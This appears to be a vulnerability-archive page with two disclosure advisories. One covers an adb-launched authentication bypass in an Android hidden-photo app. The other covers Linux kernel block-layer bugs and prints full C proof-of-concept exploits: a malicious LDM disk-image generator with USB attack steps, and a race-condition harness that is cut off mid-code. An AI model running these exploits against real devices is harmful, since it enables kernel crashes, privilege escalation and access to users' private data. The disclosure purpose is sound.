This report is shared in the interest of responsible disclosure and
improving overall security awareness.
---
*Summary*
- Application: Koller Secret: Real Hidden App
- Package / Bundle ID: com.koller.secret.hidemyphoto
- Platform: Android
- Affected Version(s): v.1.0.27 and below
- Vulnerability Type: Authentication Bypass
- Severity: High
- CVE: Pending
---
*Background*
Koller Secret claims to be the "first truly hidden app" that has "no
visible icon nor launcher" and *can be accessed only by entering an Android
secret code* from the user's dial pad.
---
*Description*
The application contains a vulnerability that allows an attacker to *bypass
their secret code mechanism* to access the app's main UI.
The root cause appears to be improper access control on an exported Android
component. The MainActivity is explicitly declared as
`android:exported="true"` in the Android manifest, making it accessible to
external applications and enabling unauthorized activity invocation.
---
*Technical Details*
- Relevant components:
- MainActivity / Android Manifest
- Security mechanism affected:
- Access control
*Observed behavior:*
It was observed that the application's MainActivity can be launched
externally via ADB by explicitly invoking it with the expected intent
action (ACTION_LAUNCH). When started in this manner, the application
bypasses the intended secret code verification mechanism and proceeds
directly to the protected interface.
*Expected behavior:*
The application should reject any attempts to launch the protected main
interface from external sources, including ADB or other applications.
Access to the protected interface should only be granted through the
official application flow, which requires successful secret code entry via
the dial pad. All other invocation attempts should be denied.
---
*Proof of Concept (PoC)*
1. Install "Koller Secret: Real Hidden App" version 1.0.27 (or earlier) to
an Android smartphone.
2. Connect the smartphone to a desktop machine (e.g., via a USB cable) that
supports Android Debug Bridge (ADB).
3. Launch a command line terminal (or Command Prompt in Windows OS)
4. Run the command:
adb shell am start -n com.koller.secret.hidemyphoto/.MainActivity -a
com.koller.secret.hidemyphoto.ACTION_LAUNCH
5. Observe that:
- The main UI of Koller Secret app is loaded on the smartphone.
- No secret code entry is required.
**Important note**:
The Koller Secret Pro app (with more "advanced security features") is also
affected by the vulnerability, when no lockscreen protection is enabled.
---
*Impact*
An attacker exploiting this vulnerability could potentially:
- access sensitive user data
- bypass security controls
- compromise application integrity
Successful exploitation of this issue undermine the application's intended
security model, potentially allowing unauthorized access to sensitive user
data and negatively impacting user trust in the application.
---
*Disclosure Timeline*
- 2025.11.21 – Vulnerability discovered
- 2025.11.25 – Vendor contacted
- 2025.11.29 – Vendor acknowledged
- 2025.12.29 – Public disclosure
The vendor was given reasonable time to respond prior to this disclosure.
No malicious exploitation is known at the time of publication.
---
*Mitigation / Recommendation*
To mitigate this issue, the affected activity should not be exported unless
explicitly required. Setting android:exported="false" for the MainActivity
would prevent external invocation via ADB or third-party applications.
If exporting the activity is necessary, the application should enforce
strict access control by validating authorization state at runtime and
ensuring that the secret code verification has been successfully completed
before granting access to protected functionality.
Users are advised to update to a fixed version once available.
---
Discovered and reported by:
duykham
---
*References*
- Install:
https://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto
- Install (Pro):
https://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto.pro
- Vendor: https://www.iotrusted.com
---
If additional information is required, I can be reached privately.
Regards,
duykham
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Security | Vulnerability in |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Vulnerability in",
"vendor": "Security",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "duykham"
}
],
"descriptions": [
{
"lang": "en",
"value": "Hello Full Disclosure,\n\nI would like to disclose a security vulnerability identified in a\nsmartphone application: *Koller Secret: Real Hidden App*.\n\nThis report is shared in the interest of responsible disclosure and\nimproving overall security awareness.\n\n---\n\n*Summary*\n- Application: Koller Secret: Real Hidden App\n- Package / Bundle ID: com.koller.secret.hidemyphoto\n- Platform: Android\n- Affected Version(s): v.1.0.27 and below\n- Vulnerability Type: Authentication Bypass\n- Severity: High\n- CVE: Pending\n\n---\n\n*Background*\nKoller Secret claims to be the \"first truly hidden app\" that has \"no\nvisible icon nor launcher\" and *can be accessed only by entering an Android\nsecret code* from the user\u0027s dial pad.\n\n---\n\n*Description*\nThe application contains a vulnerability that allows an attacker to *bypass\ntheir secret code mechanism* to access the app\u0027s main UI.\n\nThe root cause appears to be improper access control on an exported Android\ncomponent. The MainActivity is explicitly declared as\n`android:exported=\"true\"` in the Android manifest, making it accessible to\nexternal applications and enabling unauthorized activity invocation.\n\n---\n\n*Technical Details*\n- Relevant components:\n - MainActivity / Android Manifest\n- Security mechanism affected:\n - Access control\n\n*Observed behavior:*\nIt was observed that the application\u0027s MainActivity can be launched\nexternally via ADB by explicitly invoking it with the expected intent\naction (ACTION_LAUNCH). When started in this manner, the application\nbypasses the intended secret code verification mechanism and proceeds\ndirectly to the protected interface.\n\n*Expected behavior:*\nThe application should reject any attempts to launch the protected main\ninterface from external sources, including ADB or other applications.\nAccess to the protected interface should only be granted through the\nofficial application flow, which requires successful secret code entry via\nthe dial pad. All other invocation attempts should be denied.\n\n---\n\n*Proof of Concept (PoC)*\n1. Install \"Koller Secret: Real Hidden App\" version 1.0.27 (or earlier) to\nan Android smartphone.\n2. Connect the smartphone to a desktop machine (e.g., via a USB cable) that\nsupports Android Debug Bridge (ADB).\n3. Launch a command line terminal (or Command Prompt in Windows OS)\n4. Run the command:\n\nadb shell am start -n com.koller.secret.hidemyphoto/.MainActivity -a\ncom.koller.secret.hidemyphoto.ACTION_LAUNCH\n\n5. Observe that:\n- The main UI of Koller Secret app is loaded on the smartphone.\n- No secret code entry is required.\n\n**Important note**:\nThe Koller Secret Pro app (with more \"advanced security features\") is also\naffected by the vulnerability, when no lockscreen protection is enabled.\n\n---\n\n*Impact*\nAn attacker exploiting this vulnerability could potentially:\n- access sensitive user data\n- bypass security controls\n- compromise application integrity\n\nSuccessful exploitation of this issue undermine the application\u0027s intended\nsecurity model, potentially allowing unauthorized access to sensitive user\ndata and negatively impacting user trust in the application.\n\n---\n\n*Disclosure Timeline*\n- 2025.11.21 \u2013 Vulnerability discovered\n- 2025.11.25 \u2013 Vendor contacted\n- 2025.11.29 \u2013 Vendor acknowledged\n- 2025.12.29 \u2013 Public disclosure\n\nThe vendor was given reasonable time to respond prior to this disclosure.\nNo malicious exploitation is known at the time of publication.\n\n---\n\n*Mitigation / Recommendation*\nTo mitigate this issue, the affected activity should not be exported unless\nexplicitly required. Setting android:exported=\"false\" for the MainActivity\nwould prevent external invocation via ADB or third-party applications.\n\nIf exporting the activity is necessary, the application should enforce\nstrict access control by validating authorization state at runtime and\nensuring that the secret code verification has been successfully completed\nbefore granting access to protected functionality.\n\nUsers are advised to update to a fixed version once available.\n\n---\n\nDiscovered and reported by:\nduykham\n\n---\n\n*References*\n- Install:\nhttps://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto\n- Install (Pro):\nhttps://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto.pro\n- Vendor: https://www.iotrusted.com\n\n---\n\nIf additional information is required, I can be reached privately.\n\nRegards,\nduykham\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-11T11:00:54Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/1"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Jan/1"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto"
},
{
"url": "https://play.google.com/store/apps/details?id=com.koller.secret.hidemyphoto.pro"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.iotrusted.com"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Jan/1"
],
"discovery": "EXTERNAL"
},
"title": "Security Vulnerability in Koller Secret: Real Hidden App (com.koller.secret.hidemyphoto)",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2025-0002",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Jan/1",
"automated": true,
"contentSha256": "f81787284493f3e97a5de826b1bc9e40b8479e55ec9a5f7da2ee9c5ee9a0c93c",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Jan/1",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2025-12-29T21:09:00Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:57:41Z",
"dateUpdated": "2026-09-11T11:00:54Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2025-0002"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2025-0001
Vulnerability from gna-1988 – Published: 2026-09-08 07:57 – Updated: 2026-09-11 11:00
VLAI
EPSS
VEX
Title
Linux Kernel Block Subsystem Vulnerabilities
Summary
================================================================================
FULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities
Date: 2025-12-29
Affected: Linux Kernel (all versions with affected code)
================================================================================
================================================================================
[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow
================================================================================
VULNERABILITY SUMMARY
---------------------
Type: Integer Overflow leading to Heap Buffer Overflow
File: block/partitions/ldm.c:1247
Severity: HIGH (7.8 CVSS)
Impact: Local privilege escalation, kernel code execution
Attack Vector: Malicious disk image / USB device
TECHNICAL DETAILS
-----------------
The LDM (Logical Disk Manager) partition parser contains an integer overflow
vulnerability in the VBLK fragment reassembly code. When parsing Windows
dynamic disks, the kernel allocates a buffer using:
f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
Where both 'size' and 'num' are attacker-controlled 16-bit values read from
the disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:
0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)
sizeof(*f) + 0xFFFE0001 = small allocation
The kernel allocates a small buffer but later writes up to 64KB of data into
it, causing a heap buffer overflow.
AFFECTED CODE (block/partitions/ldm.c)
--------------------------------------
Line 1247:
f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
Line 461 (bounds check also vulnerable):
if ((vm->vblk_size * vm->vblk_offset) > 65536) {
PROOF OF CONCEPT
----------------
/*
* ldm_overflow_poc.c - LDM Integer Overflow PoC
* Creates a malicious disk image triggering the overflow
*
* Compile: gcc -o ldm_poc ldm_overflow_poc.c
* Usage: ./ldm_poc output.img && losetup /dev/loop0 output.img
*
* WARNING: This WILL crash/corrupt your kernel. Use in VM only.
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
/* LDM structures */
#define LDM_MAGIC "PRIVHEAD"
#define VBLK_MAGIC "VBLK"
struct ldm_privhead {
char magic[8];
uint32_t version;
uint64_t disk_id;
char host_id[64];
char disk_group_id[64];
char disk_group_name[32];
uint32_t logical_disk_start;
uint32_t logical_disk_size;
uint32_t config_start;
uint32_t config_size;
uint32_t num_tocs;
uint32_t toc_size;
uint32_t num_configs;
uint32_t config_record_size;
uint32_t num_logs;
uint32_t log_size;
} __attribute__((packed));
struct ldm_vmdb {
char magic[4]; /* "VMDB" */
uint32_t last_seq;
uint32_t vblk_size; /* Controlled - use 0xFFFF */
uint32_t vblk_offset; /* Controlled - use 0xFFFF */
uint16_t num_vblks;
/* ... */
} __attribute__((packed));
struct ldm_vblk_head {
char magic[4]; /* "VBLK" */
uint32_t seq;
uint32_t group;
uint16_t rec_num; /* Fragment number */
uint16_t num_recs; /* Total fragments - use large value */
/* ... */
} __attribute__((packed));
void create_malicious_ldm_image(const char *filename) {
int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);
if (fd < 0) {
perror("open");
exit(1);
}
/* Create 2MB sparse image */
ftruncate(fd, 2 * 1024 * 1024);
/* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */
struct ldm_privhead privhead = {0};
memcpy(privhead.magic, LDM_MAGIC, 8);
privhead.version = 0x0002000C; /* Version 2.12 */
privhead.config_start = 1;
privhead.config_size = 2048;
lseek(fd, 6 * 512, SEEK_SET);
write(fd, &privhead, sizeof(privhead));
/* Write VMDB with overflow values */
struct ldm_vmdb vmdb = {0};
memcpy(vmdb.magic, "VMDB", 4);
vmdb.vblk_size = 0xFFFF; /* OVERFLOW VALUE */
vmdb.vblk_offset = 0xFFFF; /* OVERFLOW VALUE */
vmdb.num_vblks = 100;
lseek(fd, 8 * 512, SEEK_SET); /* VMDB location */
write(fd, &vmdb, sizeof(vmdb));
/* Write VBLK fragments that trigger reassembly overflow */
struct ldm_vblk_head vblk = {0};
memcpy(vblk.magic, VBLK_MAGIC, 4);
vblk.seq = 1;
vblk.group = 1;
vblk.rec_num = 0;
vblk.num_recs = 0xFFFF; /* Large fragment count */
/* Write multiple fragments to trigger reassembly */
for (int i = 0; i < 10; i++) {
vblk.rec_num = i;
lseek(fd, (16 + i) * 512, SEEK_SET);
write(fd, &vblk, sizeof(vblk));
/* Fill rest of sector with controlled data */
char payload[512 - sizeof(vblk)];
memset(payload, 'A', sizeof(payload));
write(fd, payload, sizeof(payload));
}
close(fd);
printf("[+] Created malicious LDM image: %s\n", filename);
printf("[!] WARNING: Mounting this image WILL crash the kernel\n");
}
int main(int argc, char **argv) {
if (argc != 2) {
fprintf(stderr, "Usage: %s <output.img>\n", argv[0]);
return 1;
}
create_malicious_ldm_image(argv[1]);
printf("\nReproduction steps:\n");
printf("1. Copy image to target VM\n");
printf("2. sudo losetup /dev/loop0 %s\n", argv[1]);
printf("3. sudo partprobe /dev/loop0 # TRIGGERS CRASH\n");
printf("\nOr:\n");
printf("1. Write image to USB drive\n");
printf("2. Plug USB into target machine\n");
printf("3. Kernel auto-probes partitions -> CRASH\n");
return 0;
}
REPRODUCTION STEPS
------------------
1. Compile the PoC on any Linux system:
$ gcc -o ldm_poc ldm_overflow_poc.c
2. Create the malicious image:
$ ./ldm_poc malicious.img
3. In a VM (DO NOT RUN ON PRODUCTION):
$ sudo losetup /dev/loop0 malicious.img
$ sudo partprobe /dev/loop0
4. Kernel will crash with heap corruption
Alternative (USB attack vector):
1. Write malicious.img to USB drive:
$ sudo dd if=malicious.img of=/dev/sdX bs=1M
2. Plug USB into target machine
3. Kernel crashes during automatic partition probing
IMPACT
------
- Heap buffer overflow with controlled size and data
- Kernel code execution possible via heap spray
- Physical access attack via malicious USB
- No user interaction required (auto-probe)
SUGGESTED FIX
-------------
Replace vulnerable allocation with overflow-safe version:
- f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);
+ if (check_mul_overflow(size, num, &alloc_size) ||
+ check_add_overflow(alloc_size, sizeof(*f), &alloc_size)) {
+ ldm_error("VBLK allocation overflow");
+ return false;
+ }
+ f = kmalloc(alloc_size, GFP_KERNEL);
================================================================================
[2/4] Request Queue Reference Counting Race Condition
================================================================================
VULNERABILITY SUMMARY
---------------------
Type: TOCTOU Race Condition / Use-After-Free
File: block/blk-core.c:278-284
Severity: MEDIUM (5.5 CVSS)
Impact: Kernel crash, potential privilege escalation
Attack Vector: Local, requires timing
TECHNICAL DETAILS
-----------------
The blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)
race condition between checking if the queue is dying and incrementing
the reference count:
bool blk_get_queue(struct request_queue *q)
{
if (unlikely(blk_queue_dying(q))) // CHECK
return false;
refcount_inc(&q->refs); // USE - race window!
return true;
}
Between the check and the increment, another CPU can complete queue
teardown, decrement refs to 0, and free the structure. The subsequent
refcount_inc() then operates on freed memory.
AFFECTED CODE (block/blk-core.c)
--------------------------------
Lines 278-284:
bool blk_get_queue(struct request_queue *q)
{
if (unlikely(blk_queue_dying(q)))
return false;
refcount_inc(&q->refs); // Should be refcount_inc_not_zero
return true;
}
PROOF OF CONCEPT
----------------
/*
* blk_queue_race_poc.c - Request Queue Race Condition PoC
*
* This PoC demonstrates the TOCTOU race in blk_get_queue().
* Requires root and a removable block device (USB/loop).
*
* Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c
* Usage: sudo ./queue_race /dev/loop0
*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <sys/ioctl.h>
#include <linux/loop.h>
#include <linux/fs.h>
#include <errno.h>
#include <sched.h>
#define NUM_RACERS 4
#define ITERATIONS 100000
static volatile int race_running = 1;
static char *loop_device;
static char *backing_file;
/* Thread that repeatedly opens the block device */
void *opener_thread(void *arg) {
int cpu = (int)(long)arg;
cpu_set_t cpuset;
CPU_ZERO(&cpuset);
CPU_SET(cpu % 4, &cpuset);
pthread_setaffinity_np(pthread_self(), sizeof(cpuset), &cpuset);
while (race_running) {
int fd = open(loop_device, O_RDONLY | O_NONBLOCK);
if (fd >= 0) {
/* Perform I/O to exercise queue paths */
char buf[512];
read(fd, buf, sizeof(buf));
close(fd);
}
/* Tight loop to maximize race window hits */
}
return NULL;
}
/* Thread that repeatedly detaches/attaches loop device */
void *detacher_thread(void *arg) {
int loop_ctl_fd = open("/dev/loop-control", O_RDWR);
int backing_fd = -1;
while (race_running) {
/* Get a free loop device number */
int loop_fd = open(loop_device, O_RDWR);
if (loop_fd >= 0) {
/* Detach - triggers queue dying state */
ioctl(loop_fd, LOOP_CLR_FD, 0);
close(loop_fd);
}
usleep(100); /* Small delay */
/* Reattach */
loop_fd = open(loop_device, O_RDWR);
backing_fd = open(backing_file, O_RDWR);
if (loop_fd >= 0 && backing_fd >= 0) {
ioctl(loop_fd, LOOP_SET_FD, backing_fd);
close(backing_fd);
close(loop_fd);
}
usleep(100);
}
close(loop_ctl_fd);
return NULL;
}
/* Thread that submits I/O to exercise blk_get_queue paths */
void *io_submitter_thread(void *arg) {
while (race_running) {
int fd = open(loop_device, O_RDONLY | O_DIRECT | O_NONBLOCK);
if (fd >= 0) {
void *buf;
posix_memalign(&buf, 512, 4096);
/* Submit I/O - internally calls blk_get_queue */
pread(fd, buf, 4096, 0);
free(buf);
close(fd);
}
}
return NULL;
}
int main(int argc, char **argv) {
pthread_t openers[NUM_RACERS];
pthread_t submitters[NUM_RACERS];
pthread_t detacher;
if (argc != 3) {
fprintf(stderr, "Usage: %s <loop_device> <backing_file>\n", argv[0]);
fprintf(stderr, "Example: %s /dev/loop0 /tmp/test.img\n", argv[0]);
return 1;
}
loop_device = argv[1];
backing_file = argv[2];
/* Create backing file if needed */
int bf = open(backing_file, O_RDWR | O_CREAT, 0644);
if (bf >= 0) {
ftruncate(bf, 10 * 1024 * 1024); /* 10MB */
close(bf);
}
/* Initial loop setup */
int loop_fd = open(loop_device, O_RDWR);
int back_fd = open(backing_file, O_RDWR);
if (loop_fd >= 0 && back_fd >= 0) {
ioctl(loop_fd, LOOP_SET_FD, back_fd);
close(back_fd);
close(loop_fd);
}
printf("[*] Starting race condition PoC\n");
printf("[*] Target: %s\n", loop_device);
printf("[*] This may take a while or crash the kernel...\n");
/* Start racer threads */
for (int i = 0; i < NUM_RACERS; i++) {
pthread_create(&openers[i], NULL, opener_thread, (void*)(long)i);
pthread_create(&submitters[i], NULL, io_submitter_thread, (void*)(long)i);
}
pthread_create(&detacher, NULL, detacher_thread, NULL);
/* Run for a
Severity
No CVSS data available.
Assigner
References
4 references
| URL | Tags |
|---|---|
| https://vuln.freearchive.org/archive/full-disclos… | technical-descriptionexploit |
| https://seclists.org/fulldisclosure/2026/Jan/0 | technical-description |
| https://nmap.org/mailman/listinfo/fulldisclosure | |
| https://seclists.org/fulldisclosure/ |
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| Linux | Kernel Block |
Affected:
unknown
|
{
"containers": {
"cna": {
"affected": [
{
"product": "Kernel Block",
"vendor": "Linux",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Agent Spooky\u0027s Fun Parade via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "================================================================================\nFULL DISCLOSURE: Linux Kernel Block Subsystem Vulnerabilities\nDate: 2025-12-29\nAffected: Linux Kernel (all versions with affected code)\n================================================================================\n\n================================================================================\n[1/4] Integer Overflow in LDM Partition Parser - Heap Overflow\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: Integer Overflow leading to Heap Buffer Overflow\nFile: block/partitions/ldm.c:1247\nSeverity: HIGH (7.8 CVSS)\nImpact: Local privilege escalation, kernel code execution\nAttack Vector: Malicious disk image / USB device\n\nTECHNICAL DETAILS\n-----------------\nThe LDM (Logical Disk Manager) partition parser contains an integer overflow\nvulnerability in the VBLK fragment reassembly code. When parsing Windows\ndynamic disks, the kernel allocates a buffer using:\n\n f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nWhere both \u0027size\u0027 and \u0027num\u0027 are attacker-controlled 16-bit values read from\nthe disk. When size=0xFFFF and num=0xFFFF, the multiplication overflows:\n\n 0xFFFF * 0xFFFF = 0xFFFE0001 (truncated to 32-bit)\n sizeof(*f) + 0xFFFE0001 = small allocation\n\nThe kernel allocates a small buffer but later writes up to 64KB of data into\nit, causing a heap buffer overflow.\n\nAFFECTED CODE (block/partitions/ldm.c)\n--------------------------------------\nLine 1247:\n f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n\nLine 461 (bounds check also vulnerable):\n if ((vm-\u003evblk_size * vm-\u003evblk_offset) \u003e 65536) {\n\nPROOF OF CONCEPT\n----------------\n/*\n * ldm_overflow_poc.c - LDM Integer Overflow PoC\n * Creates a malicious disk image triggering the overflow\n *\n * Compile: gcc -o ldm_poc ldm_overflow_poc.c\n * Usage: ./ldm_poc output.img \u0026\u0026 losetup /dev/loop0 output.img\n *\n * WARNING: This WILL crash/corrupt your kernel. Use in VM only.\n */\n\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cunistd.h\u003e\n\n/* LDM structures */\n#define LDM_MAGIC \"PRIVHEAD\"\n#define VBLK_MAGIC \"VBLK\"\n\nstruct ldm_privhead {\n char magic[8];\n uint32_t version;\n uint64_t disk_id;\n char host_id[64];\n char disk_group_id[64];\n char disk_group_name[32];\n uint32_t logical_disk_start;\n uint32_t logical_disk_size;\n uint32_t config_start;\n uint32_t config_size;\n uint32_t num_tocs;\n uint32_t toc_size;\n uint32_t num_configs;\n uint32_t config_record_size;\n uint32_t num_logs;\n uint32_t log_size;\n} __attribute__((packed));\n\nstruct ldm_vmdb {\n char magic[4]; /* \"VMDB\" */\n uint32_t last_seq;\n uint32_t vblk_size; /* Controlled - use 0xFFFF */\n uint32_t vblk_offset; /* Controlled - use 0xFFFF */\n uint16_t num_vblks;\n /* ... */\n} __attribute__((packed));\n\nstruct ldm_vblk_head {\n char magic[4]; /* \"VBLK\" */\n uint32_t seq;\n uint32_t group;\n uint16_t rec_num; /* Fragment number */\n uint16_t num_recs; /* Total fragments - use large value */\n /* ... */\n} __attribute__((packed));\n\nvoid create_malicious_ldm_image(const char *filename) {\n int fd = open(filename, O_WRONLY | O_CREAT | O_TRUNC, 0644);\n if (fd \u003c 0) {\n perror(\"open\");\n exit(1);\n }\n\n /* Create 2MB sparse image */\n ftruncate(fd, 2 * 1024 * 1024);\n\n /* Write LDM PRIVHEAD at sector 6 (byte offset 3072) */\n struct ldm_privhead privhead = {0};\n memcpy(privhead.magic, LDM_MAGIC, 8);\n privhead.version = 0x0002000C; /* Version 2.12 */\n privhead.config_start = 1;\n privhead.config_size = 2048;\n\n lseek(fd, 6 * 512, SEEK_SET);\n write(fd, \u0026privhead, sizeof(privhead));\n\n /* Write VMDB with overflow values */\n struct ldm_vmdb vmdb = {0};\n memcpy(vmdb.magic, \"VMDB\", 4);\n vmdb.vblk_size = 0xFFFF; /* OVERFLOW VALUE */\n vmdb.vblk_offset = 0xFFFF; /* OVERFLOW VALUE */\n vmdb.num_vblks = 100;\n\n lseek(fd, 8 * 512, SEEK_SET); /* VMDB location */\n write(fd, \u0026vmdb, sizeof(vmdb));\n\n /* Write VBLK fragments that trigger reassembly overflow */\n struct ldm_vblk_head vblk = {0};\n memcpy(vblk.magic, VBLK_MAGIC, 4);\n vblk.seq = 1;\n vblk.group = 1;\n vblk.rec_num = 0;\n vblk.num_recs = 0xFFFF; /* Large fragment count */\n\n /* Write multiple fragments to trigger reassembly */\n for (int i = 0; i \u003c 10; i++) {\n vblk.rec_num = i;\n lseek(fd, (16 + i) * 512, SEEK_SET);\n write(fd, \u0026vblk, sizeof(vblk));\n\n /* Fill rest of sector with controlled data */\n char payload[512 - sizeof(vblk)];\n memset(payload, \u0027A\u0027, sizeof(payload));\n write(fd, payload, sizeof(payload));\n }\n\n close(fd);\n printf(\"[+] Created malicious LDM image: %s\\n\", filename);\n printf(\"[!] WARNING: Mounting this image WILL crash the kernel\\n\");\n}\n\nint main(int argc, char **argv) {\n if (argc != 2) {\n fprintf(stderr, \"Usage: %s \u003coutput.img\u003e\\n\", argv[0]);\n return 1;\n }\n\n create_malicious_ldm_image(argv[1]);\n\n printf(\"\\nReproduction steps:\\n\");\n printf(\"1. Copy image to target VM\\n\");\n printf(\"2. sudo losetup /dev/loop0 %s\\n\", argv[1]);\n printf(\"3. sudo partprobe /dev/loop0 # TRIGGERS CRASH\\n\");\n printf(\"\\nOr:\\n\");\n printf(\"1. Write image to USB drive\\n\");\n printf(\"2. Plug USB into target machine\\n\");\n printf(\"3. Kernel auto-probes partitions -\u003e CRASH\\n\");\n\n return 0;\n}\n\nREPRODUCTION STEPS\n------------------\n1. Compile the PoC on any Linux system:\n $ gcc -o ldm_poc ldm_overflow_poc.c\n\n2. Create the malicious image:\n $ ./ldm_poc malicious.img\n\n3. In a VM (DO NOT RUN ON PRODUCTION):\n $ sudo losetup /dev/loop0 malicious.img\n $ sudo partprobe /dev/loop0\n\n4. Kernel will crash with heap corruption\n\nAlternative (USB attack vector):\n1. Write malicious.img to USB drive:\n $ sudo dd if=malicious.img of=/dev/sdX bs=1M\n2. Plug USB into target machine\n3. Kernel crashes during automatic partition probing\n\nIMPACT\n------\n- Heap buffer overflow with controlled size and data\n- Kernel code execution possible via heap spray\n- Physical access attack via malicious USB\n- No user interaction required (auto-probe)\n\nSUGGESTED FIX\n-------------\nReplace vulnerable allocation with overflow-safe version:\n\n- f = kmalloc(sizeof(*f) + size * num, GFP_KERNEL);\n+ if (check_mul_overflow(size, num, \u0026alloc_size) ||\n+ check_add_overflow(alloc_size, sizeof(*f), \u0026alloc_size)) {\n+ ldm_error(\"VBLK allocation overflow\");\n+ return false;\n+ }\n+ f = kmalloc(alloc_size, GFP_KERNEL);\n\n\n================================================================================\n[2/4] Request Queue Reference Counting Race Condition\n================================================================================\n\nVULNERABILITY SUMMARY\n---------------------\nType: TOCTOU Race Condition / Use-After-Free\nFile: block/blk-core.c:278-284\nSeverity: MEDIUM (5.5 CVSS)\nImpact: Kernel crash, potential privilege escalation\nAttack Vector: Local, requires timing\n\nTECHNICAL DETAILS\n-----------------\nThe blk_get_queue() function has a time-of-check to time-of-use (TOCTOU)\nrace condition between checking if the queue is dying and incrementing\nthe reference count:\n\n bool blk_get_queue(struct request_queue *q)\n {\n if (unlikely(blk_queue_dying(q))) // CHECK\n return false;\n refcount_inc(\u0026q-\u003erefs); // USE - race window!\n return true;\n }\n\nBetween the check and the increment, another CPU can complete queue\nteardown, decrement refs to 0, and free the structure. The subsequent\nrefcount_inc() then operates on freed memory.\n\nAFFECTED CODE (block/blk-core.c)\n--------------------------------\nLines 278-284:\n bool blk_get_queue(struct request_queue *q)\n {\n if (unlikely(blk_queue_dying(q)))\n return false;\n refcount_inc(\u0026q-\u003erefs); // Should be refcount_inc_not_zero\n return true;\n }\n\nPROOF OF CONCEPT\n----------------\n/*\n * blk_queue_race_poc.c - Request Queue Race Condition PoC\n *\n * This PoC demonstrates the TOCTOU race in blk_get_queue().\n * Requires root and a removable block device (USB/loop).\n *\n * Compile: gcc -o queue_race -lpthread blk_queue_race_poc.c\n * Usage: sudo ./queue_race /dev/loop0\n */\n\n#define _GNU_SOURCE\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n#include \u003cunistd.h\u003e\n#include \u003cfcntl.h\u003e\n#include \u003cpthread.h\u003e\n#include \u003csys/ioctl.h\u003e\n#include \u003clinux/loop.h\u003e\n#include \u003clinux/fs.h\u003e\n#include \u003cerrno.h\u003e\n#include \u003csched.h\u003e\n\n#define NUM_RACERS 4\n#define ITERATIONS 100000\n\nstatic volatile int race_running = 1;\nstatic char *loop_device;\nstatic char *backing_file;\n\n/* Thread that repeatedly opens the block device */\nvoid *opener_thread(void *arg) {\n int cpu = (int)(long)arg;\n cpu_set_t cpuset;\n\n CPU_ZERO(\u0026cpuset);\n CPU_SET(cpu % 4, \u0026cpuset);\n pthread_setaffinity_np(pthread_self(), sizeof(cpuset), \u0026cpuset);\n\n while (race_running) {\n int fd = open(loop_device, O_RDONLY | O_NONBLOCK);\n if (fd \u003e= 0) {\n /* Perform I/O to exercise queue paths */\n char buf[512];\n read(fd, buf, sizeof(buf));\n close(fd);\n }\n /* Tight loop to maximize race window hits */\n }\n return NULL;\n}\n\n/* Thread that repeatedly detaches/attaches loop device */\nvoid *detacher_thread(void *arg) {\n int 